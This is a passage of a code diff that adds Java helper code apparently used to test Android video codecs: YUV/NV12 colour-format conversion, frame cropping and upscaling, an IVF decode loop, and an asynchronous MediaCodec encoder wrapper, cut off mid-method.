+     * Assumes packed, macroblock-aligned frame with no cropping
+     * (visible/coded row length == stride).
+     */
+    private static byte[] YUV420ToNV(int width, int height, byte[] yuv) {
+        byte[] nv = new byte[yuv.length];
+        // Y plane we just copy.
+        System.arraycopy(yuv, 0, nv, 0, width * height);
+
+        // U & V plane we interleave.
+        int u_offset = width * height;
+        int v_offset = u_offset + u_offset / 4;
+        int nv_offset = width * height;
+        for (int i = 0; i < width * height / 4; i++) {
+            nv[nv_offset++] = yuv[u_offset++];
+            nv[nv_offset++] = yuv[v_offset++];
+        }
+        return nv;
+    }
+
+    /**
+     * Converts (de-interleaves) NV12 to YUV420 planar.
+     * Stride may be greater than width, slice height may be greater than height.
+     */
+    private static byte[] NV12ToYUV420(int width, int height,
+            int stride, int sliceHeight, byte[] nv12) {
+        byte[] yuv = new byte[width * height * 3 / 2];
+
+        // Y plane we just copy.
+        for (int i = 0; i < height; i++) {
+            System.arraycopy(nv12, i * stride, yuv, i * width, width);
+        }
+
+        // U & V plane - de-interleave.
+        int u_offset = width * height;
+        int v_offset = u_offset + u_offset / 4;
+        int nv_offset;
+        for (int i = 0; i < height / 2; i++) {
+            nv_offset = stride * (sliceHeight + i);
+            for (int j = 0; j < width / 2; j++) {
+                yuv[u_offset++] = nv12[nv_offset++];
+                yuv[v_offset++] = nv12[nv_offset++];
+            }
+        }
+        return yuv;
+    }
+
+    /**
+     * Packs YUV420 frame by moving it to a smaller size buffer with stride and slice
+     * height equal to the crop window.
+     */
+    private static byte[] PackYUV420(int left, int top, int width, int height,
+            int stride, int sliceHeight, byte[] src) {
+        byte[] dst = new byte[width * height * 3 / 2];
+        // Y copy.
+        for (int i = 0; i < height; i++) {
+            System.arraycopy(src, (i + top) * stride + left, dst, i * width, width);
+        }
+        // U and V copy.
+        int u_src_offset = stride * sliceHeight;
+        int v_src_offset = u_src_offset + u_src_offset / 4;
+        int u_dst_offset = width * height;
+        int v_dst_offset = u_dst_offset + u_dst_offset / 4;
+        // Downsample and align to floor-2 for crop origin.
+        left /= 2;
+        top /= 2;
+        for (int i = 0; i < height / 2; i++) {
+            System.arraycopy(src, u_src_offset + (i + top) * (stride / 2) + left,
+                    dst, u_dst_offset + i * (width / 2), width / 2);
+            System.arraycopy(src, v_src_offset + (i + top) * (stride / 2) + left,
+                    dst, v_dst_offset + i * (width / 2), width / 2);
+        }
+        return dst;
+    }
+
+
+    private static void imageUpscale1To2(byte[] src, int srcByteOffset, int srcStride,
+            byte[] dst, int dstByteOffset, int dstWidth, int dstHeight) {
+        for (int i = 0; i < dstHeight/2 - 1; i++) {
+            int dstOffset0 = 2 * i * dstWidth + dstByteOffset;
+            int dstOffset1 = dstOffset0 + dstWidth;
+            int srcOffset0 = i * srcStride + srcByteOffset;
+            int srcOffset1 = srcOffset0 + srcStride;
+            int pixel00 = (int)src[srcOffset0++] & 0xff;
+            int pixel10 = (int)src[srcOffset1++] & 0xff;
+            for (int j = 0; j < dstWidth/2 - 1; j++) {
+                int pixel01 = (int)src[srcOffset0++] & 0xff;
+                int pixel11 = (int)src[srcOffset1++] & 0xff;
+                dst[dstOffset0++] = (byte)pixel00;
+                dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
+                dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+                dst[dstOffset1++] = (byte)((pixel00 + pixel01 + pixel10 + pixel11 + 2) / 4);
+                pixel00 = pixel01;
+                pixel10 = pixel11;
+            }
+            // last column
+            dst[dstOffset0++] = (byte)pixel00;
+            dst[dstOffset0++] = (byte)pixel00;
+            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+        }
+
+        // last row
+        int dstOffset0 = (dstHeight - 2) * dstWidth + dstByteOffset;
+        int dstOffset1 = dstOffset0 + dstWidth;
+        int srcOffset0 = (dstHeight/2 - 1) * srcStride + srcByteOffset;
+        int pixel00 = (int)src[srcOffset0++] & 0xff;
+        for (int j = 0; j < dstWidth/2 - 1; j++) {
+            int pixel01 = (int)src[srcOffset0++] & 0xff;
+            dst[dstOffset0++] = (byte)pixel00;
+            dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
+            dst[dstOffset1++] = (byte)pixel00;
+            dst[dstOffset1++] = (byte)((pixel00 + pixel01 + 1) / 2);
+            pixel00 = pixel01;
+        }
+        // the very last pixel - bottom right
+        dst[dstOffset0++] = (byte)pixel00;
+        dst[dstOffset0++] = (byte)pixel00;
+        dst[dstOffset1++] = (byte)pixel00;
+        dst[dstOffset1++] = (byte)pixel00;
+    }
+
+    /**
+    * Up-scale image.
+    * Scale factor is defined by source and destination width ratio.
+    * Only 1:2 and 1:4 up-scaling is supported for now.
+    * For 640x480 -> 1280x720 conversion only top 640x360 part of the original
+    * image is scaled.
+    */
+    private static byte[] imageScale(byte[] src, int srcWidth, int srcHeight,
+            int dstWidth, int dstHeight) throws Exception {
+        int srcYSize = srcWidth * srcHeight;
+        int dstYSize = dstWidth * dstHeight;
+        byte[] dst = null;
+        if (dstWidth == 2 * srcWidth && dstHeight <= 2 * srcHeight) {
+            // 1:2 upscale
+            dst = new byte[dstWidth * dstHeight * 3 / 2];
+            imageUpscale1To2(src, 0, srcWidth,
+                    dst, 0, dstWidth, dstHeight);                                 // Y
+            imageUpscale1To2(src, srcYSize, srcWidth / 2,
+                    dst, dstYSize, dstWidth / 2, dstHeight / 2);                  // U
+            imageUpscale1To2(src, srcYSize * 5 / 4, srcWidth / 2,
+                    dst, dstYSize * 5 / 4, dstWidth / 2, dstHeight / 2);          // V
+        } else if (dstWidth == 4 * srcWidth && dstHeight <= 4 * srcHeight) {
+            // 1:4 upscale - in two steps
+            int midWidth = 2 * srcWidth;
+            int midHeight = 2 * srcHeight;
+            byte[] midBuffer = imageScale(src, srcWidth, srcHeight, midWidth, midHeight);
+            dst = imageScale(midBuffer, midWidth, midHeight, dstWidth, dstHeight);
+
+        } else {
+            throw new RuntimeException("Can not find proper scaling function");
+        }
+
+        return dst;
+    }
+
+    private void cacheScaledImage(
+            String srcYuvFilename, int srcResourceId, int srcFrameWidth, int srcFrameHeight,
+            String dstYuvFilename, int dstFrameWidth, int dstFrameHeight) throws Exception {
+        InputStream srcStream = OpenFileOrResourceId(srcYuvFilename, srcResourceId);
+        FileOutputStream dstFile = new FileOutputStream(dstYuvFilename, false);
+        int srcFrameSize = srcFrameWidth * srcFrameHeight * 3 / 2;
+        byte[] srcFrame = new byte[srcFrameSize];
+        byte[] dstFrame = null;
+        Log.d(TAG, "Scale to " + dstFrameWidth + " x " + dstFrameHeight + ". -> " + dstYuvFilename);
+        while (true) {
+            int bytesRead = srcStream.read(srcFrame);
+            if (bytesRead != srcFrame.length) {
+                break;
+            }
+            if (dstFrameWidth == srcFrameWidth && dstFrameHeight == srcFrameHeight) {
+                dstFrame = srcFrame;
+            } else {
+                dstFrame = imageScale(srcFrame, srcFrameWidth, srcFrameHeight,
+                        dstFrameWidth, dstFrameHeight);
+            }
+            dstFile.write(dstFrame);
+        }
+        srcStream.close();
+        dstFile.close();
+    }
+
+
+    /**
+     * A basic check if an encoded stream is decodable.
+     *
+     * The most basic confirmation we can get about a frame
+     * being properly encoded is trying to decode it.
+     * (Especially in realtime mode encode output is non-
+     * deterministic, therefore a more thorough check like
+     * md5 sum comparison wouldn't work.)
+     *
+     * Indeed, MediaCodec will raise an IllegalStateException
+     * whenever video decoder fails to decode a frame, and
+     * this test uses that fact to verify the bitstream.
+     *
+     * @param inputIvfFilename  The name of the IVF file containing encoded bitsream.
+     * @param outputYuvFilename The name of the output YUV file (optional).
+     * @param frameRate         Frame rate of input file in frames per second
+     * @param forceGoogleDecoder    Force to use Google Video decoder.
+     */
+    protected ArrayList<MediaCodec.BufferInfo> decode(
+            String inputIvfFilename,
+            String outputYuvFilename,
+            String codecMimeType,
+            int frameRate,
+            boolean forceGoogleDecoder) throws Exception {
+        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+
+        // Open input/output.
+        IvfReader ivf = new IvfReader(inputIvfFilename);
+        int frameWidth = ivf.getWidth();
+        int frameHeight = ivf.getHeight();
+        int frameCount = ivf.getFrameCount();
+        int frameStride = frameWidth;
+        int frameSliceHeight = frameHeight;
+        int cropLeft = 0;
+        int cropTop = 0;
+        int cropWidth = frameWidth;
+        int cropHeight = frameHeight;
+        assertTrue(frameWidth > 0);
+        assertTrue(frameHeight > 0);
+        assertTrue(frameCount > 0);
+
+        // Create decoder.
+        MediaFormat format = MediaFormat.createVideoFormat(
+                codecMimeType, ivf.getWidth(), ivf.getHeight());
+        CodecProperties properties = getVideoCodecProperties(
+                false /* encoder */, format, forceGoogleDecoder);
+        if (properties == null) {
+            ivf.close();
+            return null;
+        }
+        int frameColorFormat = properties.colorFormat;
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+
+        FileOutputStream yuv = null;
+        if (outputYuvFilename != null) {
+            yuv = new FileOutputStream(outputYuvFilename, false);
+        }
+
+        Log.d(TAG, "Creating decoder " + properties.codecName +
+                ". Color format: 0x" + Integer.toHexString(frameColorFormat) +
+                ". " + frameWidth + " x " + frameHeight);
+        Log.d(TAG, "  Format: " + format);
+        Log.d(TAG, "  In: " + inputIvfFilename + ". Out:" + outputYuvFilename);
+        MediaCodec decoder = MediaCodec.createByCodecName(properties.codecName);
+        decoder.configure(format,
+                          null,  // surface
+                          null,  // crypto
+                          0);    // flags
+        decoder.start();
+
+        ByteBuffer[] inputBuffers = decoder.getInputBuffers();
+        ByteBuffer[] outputBuffers = decoder.getOutputBuffers();
+        MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
+
+        // decode loop
+        int inputFrameIndex = 0;
+        int outputFrameIndex = 0;
+        long inPresentationTimeUs = 0;
+        long outPresentationTimeUs = 0;
+        boolean sawOutputEOS = false;
+        boolean sawInputEOS = false;
+
+        while (!sawOutputEOS) {
+            if (!sawInputEOS) {
+                int inputBufIndex = decoder.dequeueInputBuffer(DEFAULT_DEQUEUE_TIMEOUT_US);
+                if (inputBufIndex >= 0) {
+                    byte[] frame = ivf.readFrame(inputFrameIndex);
+
+                    if (inputFrameIndex == frameCount - 1) {
+                        Log.d(TAG, "  Input EOS for frame # " + inputFrameIndex);
+                        sawInputEOS = true;
+                    }
+
+                    inputBuffers[inputBufIndex].clear();
+                    inputBuffers[inputBufIndex].put(frame);
+                    inputBuffers[inputBufIndex].rewind();
+                    inPresentationTimeUs = (inputFrameIndex * 1000000) / frameRate;
+
+                    decoder.queueInputBuffer(
+                            inputBufIndex,
+                            0,  // offset
+                            frame.length,
+                            inPresentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+                    inputFrameIndex++;
+                }
+            }
+
+            int result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
+            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
+                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    outputBuffers = decoder.getOutputBuffers();
+                } else  if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    // Process format change
+                    format = decoder.getOutputFormat();
+                    frameWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+                    frameHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+                    frameColorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
+                    Log.d(TAG, "Decoder output format change. Color: 0x" +
+                            Integer.toHexString(frameColorFormat));
+                    Log.d(TAG, "Format: " + format.toString());
+
+                    // Parse frame and slice height from undocumented values
+                    if (format.containsKey("stride")) {
+                        frameStride = format.getInteger("stride");
+                    } else {
+                        frameStride = frameWidth;
+                    }
+                    if (format.containsKey("slice-height")) {
+                        frameSliceHeight = format.getInteger("slice-height");
+                    } else {
+                        frameSliceHeight = frameHeight;
+                    }
+                    Log.d(TAG, "Frame stride and slice height: " + frameStride +
+                            " x " + frameSliceHeight);
+                    frameStride = Math.max(frameWidth, frameStride);
+                    frameSliceHeight = Math.max(frameHeight, frameSliceHeight);
+
+                    // Parse crop window for the area of recording decoded frame data.
+                    if (format.containsKey("crop-left")) {
+                        cropLeft = format.getInteger("crop-left");
+                    }
+                    if (format.containsKey("crop-top")) {
+                        cropTop = format.getInteger("crop-top");
+                    }
+                    if (format.containsKey("crop-right")) {
+                        cropWidth = format.getInteger("crop-right") - cropLeft + 1;
+                    } else {
+                        cropWidth = frameWidth;
+                    }
+                    if (format.containsKey("crop-bottom")) {
+                        cropHeight = format.getInteger("crop-bottom") - cropTop + 1;
+                    } else {
+                        cropHeight = frameHeight;
+                    }
+                    Log.d(TAG, "Frame crop window origin: " + cropLeft + " x " + cropTop
+                            + ", size: " + cropWidth + " x " + cropHeight);
+                    cropWidth = Math.min(frameWidth - cropLeft, cropWidth);
+                    cropHeight = Math.min(frameHeight - cropTop, cropHeight);
+                }
+                result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
+            }
+            if (result >= 0) {
+                int outputBufIndex = result;
+                outPresentationTimeUs = bufferInfo.presentationTimeUs;
+                Log.v(TAG, "Writing buffer # " + outputFrameIndex +
+                        ". Size: " + bufferInfo.size +
+                        ". InTime: " + (inPresentationTimeUs + 500)/1000 +
+                        ". OutTime: " + (outPresentationTimeUs + 500)/1000);
+                if ((bufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    sawOutputEOS = true;
+                    Log.d(TAG, "   Output EOS for frame # " + outputFrameIndex);
+                }
+
+                if (bufferInfo.size > 0) {
+                    // Save decoder output to yuv file.
+                    if (yuv != null) {
+                        byte[] frame = new byte[bufferInfo.size];
+                        outputBuffers[outputBufIndex].position(bufferInfo.offset);
+                        outputBuffers[outputBufIndex].get(frame, 0, bufferInfo.size);
+                        // Convert NV12 to YUV420 if necessary.
+                        if (frameColorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+                            frame = NV12ToYUV420(frameWidth, frameHeight,
+                                    frameStride, frameSliceHeight, frame);
+                        }
+                        int writeLength = Math.min(cropWidth * cropHeight * 3 / 2, frame.length);
+                        // Pack frame if necessary.
+                        if (writeLength < frame.length &&
+                                (frameStride > cropWidth || frameSliceHeight > cropHeight)) {
+                            frame = PackYUV420(cropLeft, cropTop, cropWidth, cropHeight,
+                                    frameStride, frameSliceHeight, frame);
+                        }
+                        yuv.write(frame, 0, writeLength);
+                    }
+                    outputFrameIndex++;
+
+                    // Update statistics - store presentation time delay in offset
+                    long presentationTimeUsDelta = inPresentationTimeUs - outPresentationTimeUs;
+                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                    bufferInfoCopy.set((int)presentationTimeUsDelta, bufferInfo.size,
+                            outPresentationTimeUs, bufferInfo.flags);
+                    bufferInfos.add(bufferInfoCopy);
+                }
+                decoder.releaseOutputBuffer(outputBufIndex, false);
+            }
+        }
+        decoder.stop();
+        decoder.release();
+        ivf.close();
+        if (yuv != null) {
+            yuv.close();
+        }
+
+        return bufferInfos;
+    }
+
+
+    /**
+     * Helper function to return InputStream from either filename (if set)
+     * or resource id (if filename is not set).
+     */
+    private InputStream OpenFileOrResourceId(String filename, int resourceId) throws Exception {
+        if (filename != null) {
+            return new FileInputStream(filename);
+        }
+        return mResources.openRawResource(resourceId);
+    }
+
+    /**
+     * Results of frame encoding.
+     */
+    protected class MediaEncoderOutput {
+        public long inPresentationTimeUs;
+        public long outPresentationTimeUs;
+        public boolean outputGenerated;
+        public int flags;
+        public byte[] buffer;
+    }
+
+    protected class MediaEncoderAsyncHelper {
+        private final EncoderOutputStreamParameters mStreamParams;
+        private final CodecProperties mProperties;
+        private final ArrayList<MediaCodec.BufferInfo> mBufferInfos;
+        private final IvfWriter mIvf;
+        private final byte[] mSrcFrame;
+
+        private InputStream mYuvStream;
+        private int mInputFrameIndex;
+
+        MediaEncoderAsyncHelper(
+                EncoderOutputStreamParameters streamParams,
+                CodecProperties properties,
+                ArrayList<MediaCodec.BufferInfo> bufferInfos,
+                IvfWriter ivf)
+                throws Exception {
+            mStreamParams = streamParams;
+            mProperties = properties;
+            mBufferInfos = bufferInfos;
+            mIvf = ivf;
+
+            int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
+            mSrcFrame = new byte[srcFrameSize];
+
+            mYuvStream = OpenFileOrResourceId(
+                    streamParams.inputYuvFilename, streamParams.inputResourceId);
+        }
+
+        public byte[] getInputFrame() {
+            // Check EOS
+            if (mStreamParams.frameCount == 0
+                    || (mStreamParams.frameCount > 0
+                            && mInputFrameIndex >= mStreamParams.frameCount)) {
+                Log.d(TAG, "---Sending EOS empty frame for frame # " + mInputFrameIndex);
+                return null;
+            }
+
+            try {
+                int bytesRead = mYuvStream.read(mSrcFrame);
+
+                if (bytesRead == -1) {
+                    // rewind to beginning of file
+                    mYuvStream.close();
+                    mYuvStream = OpenFileOrResourceId(
+                            mStreamParams.inputYuvFilename, mStreamParams.inputResourceId);
+                    bytesRead = mYuvStream.read(mSrcFrame);
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "Failed to read YUV file.");
+                return null;
+            }
+            mInputFrameIndex++;
+
+            // Convert YUV420 to NV12 if necessary
+            if (mProperties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+                return YUV420ToNV(mStreamParams.frameWidth, mStreamParams.frameHeight,
+                        mSrcFrame);
+            } else {
+                return mSrcFrame;
+            }
+        }
+
+        public boolean saveOutputFrame(MediaEncoderOutput out) {
+            if (out.outputGenerated) {
+                if (out.buffer.length > 0) {
+                    // Save frame
+                    try {
+                        mIvf.writeFrame(out.buffer, out.outPresentationTimeUs);
+                    } catch (Exception e) {
+                        Log.d(TAG, "Failed to write frame");
+                        return true;
+                    }
+
+                    // Update statistics - store presentation time delay in offset
+                    long presentationTimeUsDelta = out.inPresentationTimeUs -
+                            out.outPresentationTimeUs;
+                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+                            out.outPresentationTimeUs, out.flags);
+                    mBufferInfos.add(bufferInfoCopy);
+                }
+                // Detect output EOS
+                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "----Output EOS ");
+                    return true;
+                }
+            }
+            return false;
+        }
+    }
+
+    /**
+     * Video encoder wrapper class.
+     * Allows to run the encoder either in a callee's thread or in a looper thread
+     * using buffer dequeue ready notification callbacks.
+     *
+     * Function feedInput() is used to send raw video frame to the encoder input. When encoder
+     * is configured to run in async mode the function will run in a looper thread.
+     * Encoded frame can be retrieved by calling getOutput() function.
+     */
+    protected class MediaEncoderAsync extends Thread {
+        private int mId;
+        private MediaCodecWrapper mCodec;
+        private ByteBuffer[] mInputBuffers;
+        private ByteBuffer[] mOutputBuffers;
+        private int mInputFrameIndex;
+        private int mOutputFrameIndex;
+        private int mInputBufIndex;
+        private int mFrameRate;
+        private long mTimeout;
+        private MediaCodec.BufferInfo mBufferInfo;
+        private long mInPresentationTimeUs;
+        private long mOutPresentationTimeUs;
+        private boolean mAsync;
+        // Flag indicating if input frame was consumed by the encoder in feedInput() call.
+        private boolean mConsumedInput;
+        // Result of frame encoding returned by getOutput() call.
+        private MediaEncoderOutput mOutput;
+        // Object used to signal that looper thread has started and Handler instance associated
+        // with looper thread has been allocated.
+        private final Object mThreadEvent = new Object();
+        // Object used to signal that MediaCodec buffer dequeue notification callback
+        // was received.
+        private final Object mCallbackEvent = new Object();
+        private Handler mHandler;
+        private boolean mCallbackReceived;
+        private MediaEncoderAsyncHelper mHelper;
+        private final Object mCompletionEvent = new Object();
+        private boolean mCompleted;
+        private boolean mInitialSyncFrameReceived;
+
+        private MediaCodec.Callback mCallback = new MediaCodec.Callback() {
+            @Override
+            public void onInputBufferAvailable(MediaCodec codec, int index) {
+                if (mHelper == null) {
+                    Log.e(TAG, "async helper not available");
+                    return;
+                }
+
+                byte[] encFrame = mHelper.getInputFrame();
+                boolean inputEOS = (encFrame == null);
+
+                int encFrameLength = 0;
+                int flags = 0;
+                if (inputEOS) {
+                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                } else {
+                    encFrameLength = encFrame.length;
+
+                    ByteBuffer byteBuffer = mCodec.getInputBuffer(index);
+                    byteBuffer.put(encFrame);
+                    byteBuffer.rewind();
+
+                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
+
+                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
+                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
+
+                    mInputFrameIndex++;
+                }
+
+                mCodec.queueInputBuffer(
+                        index,
+                        0,  // offset
+                        encFrameLength,  // size
+                        mInPresentationTimeUs,
+                        flags);
+            }
+
+            @Override
+            public void onOutputBufferAvailable(MediaCodec codec,
+                    int index, MediaCodec.BufferInfo info) {
+                if (mHelper == null) {
+                    Log.e(TAG, "async helper not available");
+                    return;
+                }
+
+                MediaEncoderOutput out = new MediaEncoderOutput();
+
+                out.buffer = new byte[info.size];
+                ByteBuffer outputBuffer = mCodec.getOutputBuffer(index);
+                outputBuffer.get(out.buffer, 0, info.size);
+                mOutPresentationTimeUs = info.presentationTimeUs;
+
+                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
+                if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+                    logStr += " CONFIG. ";
+                }
+                if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+                    logStr += " KEY. ";
+                    if (!mInitialSyncFrameReceived) {
+                        mInitialSyncFrameReceived = true;
+                    }
+                }
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    logStr += " EOS. ";
+                }
+                logStr += " Size: " + info.size;
+                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
+                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
+                Log.v(TAG, logStr);
+
+                if (!mInitialSyncFrameReceived
+                        && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+                    throw new RuntimeException("Non codec_config_frame before first sync.");
+                }
+
+                if (info.size > 0) {
+                    mOutputFrameIndex++;
+                    out.inPresentationTimeUs = mInPresentationTimeUs;
+                    out.outPresentationTimeUs = mOutPresentationTimeUs;
+                }
+                mCodec.releaseOutputBuffer(index, false);
+
+                out.flags = info.flags;
+                out.outputGenerated = true;
+
+                if (mHelper.saveOutputFrame(out)) {
+                    // output EOS
+                    signalCompletion();
+                }
+            }
+
+            @Override
+            public void onError(MediaCodec codec, CodecException e) {
+                Log.e(TAG, "onError: " + e
+                        + ", transient " + e.isTransient()
+                        + ", recoverable " + e.isRecoverable()
+                        + ", error " + e.getErrorCode());
+            }
+
+            @Override
+            public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+                Log.i(TAG, "onOutputFormatChanged: " + format.toString());
+            }
+        };
+
+        private synchronized void requestStart() throws Exception {
+            mHandler = null;
+            start();
+            // Wait for Hander allocation
+            synchronized (mThreadEvent) {
+                while (mHandler == null) {
+                    mThreadEvent.wait();
+                }
+            }
+        }
+
+        public void setAsyncHelper(MediaEncoderAsyncHelper helper) {
+            mHelper = helper;
+        }
+
+        @Override
+        public void run() {
+            Looper.prepare();
+            synchronized (mThreadEvent) {
+                mHandler = new Handler();
+                mThreadEvent.notify();
+            }
+            Looper.loop();
+        }
+
+        private void runCallable(final Callable<?> callable) throws Exception {
+            if (mAsync) {
+                final Exception[] exception = new Exception[1];
+                final CountDownLatch countDownLatch = new CountDownLatch(1);
+                mHandler.post( new Runnable() {
+                    @Override
+                    public void run() {
+                        try {
+                            callable.call();
+                        } catch (Exception e) {
+                            exception[0] = e;
+                        } finally {
+                            countDownLatch.countDown();
+                        }
+                    }
+                } );
+
+                // Wait for task completion
+                countDownLatch.await();
+                if (exception[0] != null) {
+                    throw exception[0];
+                }
+            } else {
+                callable.call();
+            }
+        }
+
+        private synchronized void requestStop() throws Exception {
+            mHandler.post( new Runnable() {
+                @Override
+                public void run() {
+                    // This will run on the Looper thread
+                    Log.v(TAG, "MediaEncoder looper quitting");
+                    Looper.myLooper().quitSafely();
+                }
+            } );
+            // Wait for completion
+            join();
+            mHandler = null;
+        }
+
+        private void createCodecInternal(final String name,
+                final MediaFormat format, final long timeout, boolean useNdk) throws Exception {
+            mBufferInfo = new MediaCodec.BufferInfo();
+            mFrameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE);
+            mTimeout = timeout;
+            mInputFrameIndex = 0;
+            mOutputFrameIndex = 0;
+            mInPresentationTimeUs = 0;
+            mOutPresentationTimeUs = 0;
+
+            if (useNdk) {
+                mCodec = new NdkMediaCodec(name);
+            } else {
+                mCodec = new SdkMediaCodec(MediaCodec.createByCodecName(name), mAsync);
+            }
+            if (mAsync) {
+                mCodec.setCallback(mCallback);
+            }
+            mCodec.configure(format, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            mCodec.start();
+
+            // get the cached input/output only in sync mode
+            if (!mAsync) {
+                mInputBuffers = mCodec.getInputBuffers();
+                mOutputBuffers = mCodec.getOutputBuffers();
+            }
+        }
+
+        public void createCodec(int id, final String name, final MediaFormat format,
+                final long timeout, boolean async, final boolean useNdk)  throws Exception {
+            mId = id;
+            mAsync = async;
+            if (mAsync) {
+                requestStart(); // start looper thread
+            }
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    createCodecInternal(name, format, timeout, useNdk);
+                    return null;
+                }
+            } );
+        }
+
+        private void feedInputInternal(final byte[] encFrame, final boolean inputEOS) {
+            mConsumedInput = false;
+            // Feed input
+            mInputBufIndex = mCodec.dequeueInputBuffer(mTimeout);
+
+            if (mInputBufIndex >= 0) {
+                ByteBuffer inputBuffer = mCodec.getInputBuffer(mInputBufIndex);
+                inputBuffer.clear();
+                inputBuffer.put(encFrame);
+                inputBuffer.rewind();
+                int encFrameLength = encFrame.length;
+                int flags = 0;
+                if (inputEOS) {
+                    encFrameLength = 0;
+                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                }
+                if (!inputEOS) {
+                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
+                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
+                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
+                    mInputFrameIndex++;
+                }
+
+                mCodec.queueInputBuffer(
+                        mInputBufIndex,
+                        0,  // offset
+                        encFrameLength,  // size
+                        mInPresentationTimeUs,
+                        flags);
+
+                mConsumedInput = true;
+            } else {
+                Log.v(TAG, "In " + mId + " - TRY_AGAIN_LATER");
+            }
+            mCallbackReceived = false;
+        }
+
+        public boolean feedInput(final byte[] encFrame, final boolean inputEOS) throws Exception {
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    feedInputInternal(encFrame, inputEOS);
+                    return null;
+                }
+            } );
+            return mConsumedInput;
+        }
+
+        private void getOutputInternal() {
+            mOutput = new MediaEncoderOutput();
+            mOutput.inPresentationTimeUs = mInPresentationTimeUs;
+            mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
+            mOutput.outputGenerated = false;
+
+            // Get output from the encoder
+            int result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
+            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
+                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    mOutputBuffers = mCodec.getOutputBuffers();
+                } else if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    Log.d(TAG, "Format changed: " + mCodec.getOutputFormatString());
+                }
+                result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
+            }
+            if (result == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                Log.v(TAG, "Out " + mId + " - TRY_AGAIN_LATER");
+            }
+
+            if (result >= 0) {
+                int outputBufIndex = result;
+                mOutput.buffer = new byte[mBufferInfo.size];
+                ByteBuffer outputBuffer = mCodec.getOutputBuffer(outputBufIndex);
+                outputBuffer.position(mBufferInfo.offset);
+                outputBuffer.get(mOutput.buffer, 0, mBufferInfo.size);
+                mOutPresentationTimeUs = mBufferInfo.presentationTimeUs;
+
+                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
+                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+                    logStr += " CONFIG. ";
+                }
+                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+                    logStr += " KEY. ";
+                    if (!mInitialSyncFrameReceived) {
+                        mInitialSyncFrameReceived = true;
+                    }
+                }
+                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    logStr += " EOS. ";
+                }
+                logStr += " Size: " + mBufferInfo.size;
+                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
+                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
+                Log.v(TAG, logStr);
+
+                if (!mInitialSyncFrameReceived
+                        && (mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+                    throw new RuntimeException("Non codec_config_frame before first sync.");
+                }
+
+                if (mBufferInfo.size > 0) {
